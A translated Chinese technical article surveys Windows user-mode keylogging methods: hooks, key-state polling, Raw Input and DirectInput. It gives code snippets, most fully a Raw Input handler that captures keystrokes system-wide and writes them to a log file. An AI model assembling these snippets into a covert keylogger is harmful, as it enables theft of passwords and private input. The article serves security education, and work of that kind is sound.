【技术分享】Windows 键盘记录器 part1:应用层方法

http://p2.qhimg.com/t0138cddd903e6855e6.jpg


译者:myswsun

预估稿费:80RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


0x00 前言

正如我们所知,键盘记录器是被恶意软件广泛使用的一种技术。本文是第一部分,我将列出一些Windows应用层常见的键盘记录的方式(不是全部)。

下面是本文提到的一些方法:

1. Windows钩子(SetWindowsHookEx)

2. Windows轮询(GetAsyncKeyState、GetKeyBoardState)

3. raw input

4. direct input


0x01 SetWindowsHookEx

这是最常见的技术。使用SetWindowsHookEx向Windows的消息钩子链中注册一个预定义的函数。有非常多的消息类型,其中两种用于键盘记录:

g_hHook = SetWindowsHookEx(m_bLowLevelKeyboard == true ? WH_KEYBOARD_LL : WH_KEYBOARD, m_bLowLevelKeyboard ? LowLevelKeyboardProc : KeyboardProc, g_hModule, m_ThreadId);

在回调函数中,我们将接收KeyboardProc的wParam中的虚拟键码和LowLevelKeyboardProc的KBDLLHOOKSTRUCT.vkCode(wParam指向KBDLLHOOKSTRUCT)。

如果m_ThreadId = 0,则消息钩子是全局消息钩子。针对全局消息钩子,你必须将回调函数置于dll中,并且需要编写2个dll来分别处理x86/x64进程。

针对底层键盘钩子,SetWindowsHookEx的HMod参数可以为NULL或者本进程加载的模块(我测试了user32,ntdll)。

WH_KEYBOARD_LL不需要dll中的回调函数,并且能适应x86/x64进程。

WH_KEYBOARD需要两个版本的dll,分别处理x86/x64。但是如果使用x86版本的全局消息钩子,所有的x64线程仍被标记为“hooked”,并且系统在钩子应用上下文执行钩子。类似的,如果是x64,所有的32位的进程将使用x64钩子应用的回调函数。这就是为什么安装钩子的线程必须要有一个消息循环。


0x02 GetAsuncKeyState

使用GetAsyncKeyState查询每个键的状态是一种经典的方法。这需要一个死循环来轮询键盘状态,这将导致CPU异常。

http://p7.qhimg.com/t014b2c8c9216dde844.png


0x03 GetKeyboardState

和GetAsyncKeyState类似,GetKeyBoardState能一次得到所有的键的状态。不同的是当键盘消息从调用进程的消息队列中移除时,GetKeyBoardState只会改变状态。这意味着它不是全局钩子,除非我们使用AttachThreadInput函数来共享键盘状态。

http://p0.qhimg.com/t01663aca7130b53bd8.png


0x04 Raw Input

微软原始输入介绍:

http://p4.qhimg.com/t017b7dc52f43451696.png

因此,使用原始输入,我们必须通过RegisterRawInputDevices()函数注册一个输入设备。在那之后,在消息循环中能通过WM_INPUT得到数据。下面是注册设备并获取数据的代码:

switch (message)
{
    case WM_CREATE:
    {
        if (lParam)
        {
            CREATESTRUCT* lpCreateStruct = (CREATESTRUCT*)lParam;
            if (lpCreateStruct->lpCreateParams)
                ::SetWindowLong(hWnd, GWL_USERDATA, reinterpret_cast<long>(lpCreateStruct->lpCreateParams));
        }
        RAWINPUTDEVICE rid;
        // register interest in raw data
        rid.dwFlags = RIDEV_NOLEGACY | RIDEV_INPUTSINK; // ignore legacy messages and receive system wide keystrokes
        rid.usUsagePage = 1;                            // raw keyboard data only
        rid.usUsage = 6;
        rid.hwndTarget = hWnd;
        RegisterRawInputDevices(&rid, 1, sizeof(rid));
        break;
    }
    case WM_INPUT:
    {
        UINT dwSize;
        if (GetRawInputData((HRAWINPUT)lParam, RID_INPUT, NULL, &dwSize, sizeof(RAWINPUTHEADER)) == -1) {
            break;
        }
        LPBYTE lpb = new BYTE[dwSize];
        if (lpb == NULL) {
            break;
        }
        if (GetRawInputData((HRAWINPUT)lParam, RID_INPUT, lpb, &dwSize, sizeof(RAWINPUTHEADER)) != dwSize) {
            delete[] lpb;
            break;
        }
        PRAWINPUT raw = (PRAWINPUT)lpb;
        UINT Event;
        WCHAR szOutput[128];
        CHAR keyChar;
        StringCchPrintf(szOutput, STRSAFE_MAX_CCH, TEXT(" Kbd: make=%04x Flags:%04x Reserved:%04x ExtraInformation:%08x, msg=%04x VK=%04x n"),
            raw->data.keyboard.MakeCode,
            raw->data.keyboard.Flags,
            raw->data.keyboard.Reserved,
            raw->data.keyboard.ExtraInformation,
            raw->data.keyboard.Message,
            raw->data.keyboard.VKey);
        Event = raw->data.keyboard.Message;
        keyChar = MapVirtualKeyA(raw->data.keyboard.VKey, MAPVK_VK_TO_CHAR);
        delete[] lpb;           // free this now
        // read key once on keydown event only
        if (Event == WM_KEYDOWN)
        {
            if (keyChar>32)
            {   // anything below spacebar other than backspace, tab or enter we skip
                if ((keyChar != 8) && (keyChar != 9) && (keyChar != 13))
                    break;
            }
            if (keyChar>126)
                // anything above ~ we skip
                break;
            // write to log file
            CRawInputKeylog* lpCRawInputKeylog = reinterpret_cast<CRawInputKeylog*>(::GetWindowLong(hWnd, GWL_USERDATA));
            if (lpCRawInputKeylog)
            {
                DWORD byteWritten = 0;
                WriteFile(lpCRawInputKeylog->m_hFile, &keyChar, sizeof(keyChar), &byteWritten, NULL);
            }
        }
        break;
    }
}

0x05 Direct Input

最后一个方法是现实中比较少见的一种技术。直接输入是微软DrirectX库的一个函数,能被用来得到键盘的状态。

HRESULT hr;
hr = DirectInput8Create(g_hModule, DIRECTINPUT_VERSION, IID_IDirectInput8, (void **)&m_din, NULL);
hr = m_din->CreateDevice(GUID_SysKeyboard, &m_dinkbd, NULL);
hr = m_dinkbd->SetDataFormat(&c_dfDIKeyboard);
hr = m_dinkbd->SetCooperativeLevel(m_hWnd, DISCL_NONEXCLUSIVE | DISCL_BACKGROUND);

DirectInput8Create创建一个DirectX对应版本的DirectInput对象。我们能创建一个输入设备的类型的设备,然后设置我们想要的数据格式。以DISCL_NONEXCLUSIVE | DISCL_BACKGROUND为参数调用SetCooperativeLevel()能确保全局模式。

使用下面代码得到键盘状态:

BYTE keystate[256] = { 0 };
lpCDirectInputKeylog->m_dinkbd->Acquire();
lpCDirectInputKeylog->m_dinkbd->GetDeviceState(256, keystate);
GetDeviceState()返回256个键盘扫描码的状态。我们使用MapVirtualKey将扫描码转化为虚拟键。
UINT virKey = MapVirtualKeyA(i, MAPVK_VSC_TO_VK_EX);

0x06 总结

最终,我们总结下用户模式键盘记录技术:

http://p2.qhimg.com/t0174c8309c9cf7b227.png


0x07 参考

MSDN

https://www.codeproject.com/Articles/297312/Minimal-Key-Logger-using-RAWINPUT 

https://wikileaks.org/ciav7p1/cms/page_3375220.html 

https://securelist.com/analysis/publications/36138/keyloggers-how-they-work-and-how-to-detect-them-part-1/ 

https://securelist.com/analysis/publications/36358/keyloggers-implementing-keyloggers-in-windows-part-two/ 

(完)